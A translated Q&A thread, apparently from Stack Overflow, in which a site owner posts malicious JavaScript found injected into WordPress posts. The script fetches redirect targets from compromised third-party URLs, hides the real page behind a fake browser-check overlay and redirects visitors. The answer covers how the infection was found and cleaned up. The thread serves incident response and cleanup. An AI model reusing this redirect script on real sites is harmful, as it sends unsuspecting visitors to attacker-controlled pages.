wordpress - WordPress 中的可疑代码知道如何删除它吗？

Question

(function () {
    //<script>
    var w_location = null;

    var domains = [
        'http://kntsv.nl/images/tmp.php',
        'http://grimhoj.dmcu.dk/modules/mod_xsystem/tmp.php',
        'http://langedijke.nl/plugins/tmp.php',
        'http://megateuf.edelo.net/cgi-bin/tmp.php',
        'http://www.icanguri.com/modules/mod_xsystem/tmp.php',
        'http://www.pflege-tut-gut.de/wp-content/plugins/tv1/tmp.php',
        'http://yofeet.com/drupal/modules/tmp.php',
        'http://squash-moyennedurance.fr/modules/mod_xsystem/tmp.php',
        'http://www.devonportmotors.co.nz/images/tmp.php'
    ];

    function getDomainName(domain) {
        var xhr = new XMLHttpRequest();
        xhr.onreadystatechange = function () {
            if (xhr.readyState == XMLHttpRequest.DONE) {
                if (xhr.responseText && xhr.responseText.trim().length > 0) {
                    w_location = xhr.responseText.trim();
                }
            }
        };
        xhr.open('GET', domains[0], true);
        xhr.send();
    }

    for (var i = 0; i < domains.length; i++) {
        getDomainName(domains[i]);
    }

    function start() {

        var from = document.referrer;
        var i;

        // If it's direct
        var eee = ["", " "];

        var se = ["google", "yahoo", "bing", "yandex", "baidu", "gigablast", "soso", "blekko", "exalead", "sogou", "duckduckgo", "volunia"];


        if (checkCookie()) {
            return;
        }
        var uagent = navigator.userAgent;
        if (!uagent || uagent.length == 0) {
            return;
        }
        uagent = uagent.toLowerCase();
        if (uagent.indexOf('google') != -1 || uagent.indexOf('bot') != -1
            || uagent.indexOf('crawl') != -1) {

        } else {
            hideWebSite();
        }

        function getCookie(c_name) {
            var c_value = document.cookie;
            var c_start = c_value.indexOf(" " + c_name + "=");
            if (c_start == -1) {
                c_start = c_value.indexOf(c_name + "=");
            }
            if (c_start == -1) {
                c_value = null;
            }
            else {
                c_start = c_value.indexOf("=", c_start) + 1;
                var c_end = c_value.indexOf(";", c_start);
                if (c_end == -1) {
                    c_end = c_value.length;
                }
                c_value = unescape(c_value.substring(c_start, c_end));
            }
            return c_value;
        }

        function setCookie(c_name, value, exdays) {
            var exdate = new Date();
            exdate.setDate(exdate.getDate() + exdays);
            var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString());
            document.cookie = c_name + "=" + c_value;
        }

        function checkCookie() {
            if (localStorage.getItem('yYjra4PCc8kmBHess1ib') === '1') {
                return true;
            } else {
                localStorage.setItem('yYjra4PCc8kmBHess1ib', '1');
            }
            var referrerRedirectCookie = getCookie("referrerRedirectCookie");
            if (referrerRedirectCookie != null && referrerRedirectCookie != "") {
                return true;
            } else if (document.cookie.indexOf('wordpress_logged') !== -1
                || document.cookie.indexOf('wp-settings') !== -1
                || document.cookie.indexOf('wordpress_test') !== -1) {
                return true;
            } else {
                setCookie("referrerRedirectCookie", "do not redirect", 730);
                return false;
            }
        }

    }


    function createPopup() {
        var popup = document.createElement('div');
        popup.style.position = 'absolute';
        popup.style.width = '100%';
        popup.style.height = '100%';
        popup.style.left = 0;
        popup.style.top = 0;
        popup.style.backgroundColor = 'white';
        popup.style.zIndex = 99999;
        document.body.appendChild(popup);

        popup.onclick = function () {
            var intervalId = setInterval(() = > {
                    if (
            !w_location
            )
            {
                return;
            }
            clearInterval(intervalId);
            window.location = w_location;
        },
            10
            )
            ;

        };

        var p = document.createElement('p');
        p.innerText = "Checking your browser before accessing "
            + window.location.host + "...";
        p.style.textAlign = 'center';
        //p.style.margin = '20px auto';
        //p.style.left = '20px';
        p.style.fontSize = 'x-large';
        p.style.position = 'relative';
        p.textContent = p.innerText;
        popup.appendChild(p);

        return popup;
    }

    function createButton() {
        var button = document.createElement('div');
        button.style.position = 'absolute';
        button.style.top = '20%';
        button.style.left = '10%';
        button.style.right = '10%';
        button.style.width = '80%';
        button.style.border = "1px solid black";
        button.style.textAlign = 'center';
        button.style.verticalAlign = 'middle';
        button.style.margin = '0, auto';
        button.style.cursor = 'pointer';
        button.style.fontSize = 'xx-large';
        button.style.borderRadius = '5px';
        button.onclick = function () {
            window.location = w_location;
        };
        button.onmouseover = function () {
            button.style.border = '1px solid red';
            button.style.color = 'red';
        };
        button.onmouseout = function () {
            button.style.border = '1px solid black';
            button.style.color = 'black';
        };

        button.innerText = "Continue";
        button.textContent = button.innerText;
        return button;
    }

    var hideWebSite = function () {
        var popup = createPopup();
        var button = createButton();
        popup.appendChild(button);

    };

    var readyStateCheckInterval = setInterval(function () {
        if (document.readyState === 'complete'
            || document.readyState == 'interactive') {
            clearInterval(readyStateCheckInterval);
            start();
        }
    }, 10);
    //</script>


})

我在代码中尝试过 grep，但找不到任何东西，我获取了完整数据库的 MySQL 转储，但没有找到任何东西。

我运行了 clamscan，但找不到任何问题，我的疑问出在 Visual Composer 上，但是当我在 Visual Composer 中 grep 时，我没有看到此代码。

更新

这是网站被感染时显示的内容:

您可以通过转到 Chrome 开发工具控制台来检查该消息和按钮(覆盖，不应该在那里)的来源，并查看变量 ZJPMAWHWOE 的值，这将为您提供一堆JS代码，但在变量中它是加密的，一旦代码运行并解密，它就是上面发布的JS代码。

如果您访问网站https://sitecheck.sucuri.net/并检查您的网站，然后您将从他们那里收到感染警报:

Answer 1

经过进一步调查，我们发现以下内容:

正如 OP 和其他人在评论中指出的那样，对同一服务器中的网站文件和其他网站文件进行 GREP 查找受感染代码(加密或解密)的任何痕迹没有给出任何结果，这意味着感染是不在任何文件中(至少不是以这种形式)。

我们注意到页面底部有一些额外的垃圾字符，其中有“合法”免责声明:

针对我们寻找 JS 变量ZJPMAWHWOE的案例，追踪最终 HTML 的哪些部分受到感染(和/或垃圾字符)

实际上，脚本代码存在于一个已知的 HTML 片段中，对于我们来说，该片段是存在于我们的 WordPress 页面之一中的“合法”页面。

这现在指向在 WordPress 中直接编辑的页面/帖子内的代码。我们进去检查了合法页面并在那里找到了它(首先注意到相同的垃圾字符):

然后向下滚动(在 TextView 中，获取页面的原始 HTML)，我们得到了这个:

我们检查了网站中的其他页面和帖子，发现其中存在相同的注入(inject)代码。

一旦我们清理了它们，所有感染似乎都消失了。

那么现在，攻击是如何完成的呢？我们的理论是，只有获取 WordPress 用户凭据并编辑页面/帖子；在我们的例子中，这相当容易，因为我们的/wp-admin 登录页面不受 HTTPS 保护，因此我们的用户和密码很容易被嗅探；我们认为这是他们获取用户凭据并随后编辑页面/帖子以添加恶意代码的方式。

除了清理之外，我们还做了以下工作:

• 更新了系统密码数据库
• 从 WordPress 中删除了所有用户；我们只留下“admin”和我的用户(都具有管理员角色)
• 更新了用户“admin”和我的用户的密码
• 为博客编辑者重新创建了具有新密码的用户

正在进行中:我们正在为 WordPress 获取 HTTPS，以保护每次登录 wp-admin 时提交的用户/密码信息。

我还想听听有关如何提高 WordPress 安全性的其他建议，以及有关他们如何能够在页面/帖子中注入(inject)恶意代码的其他理论。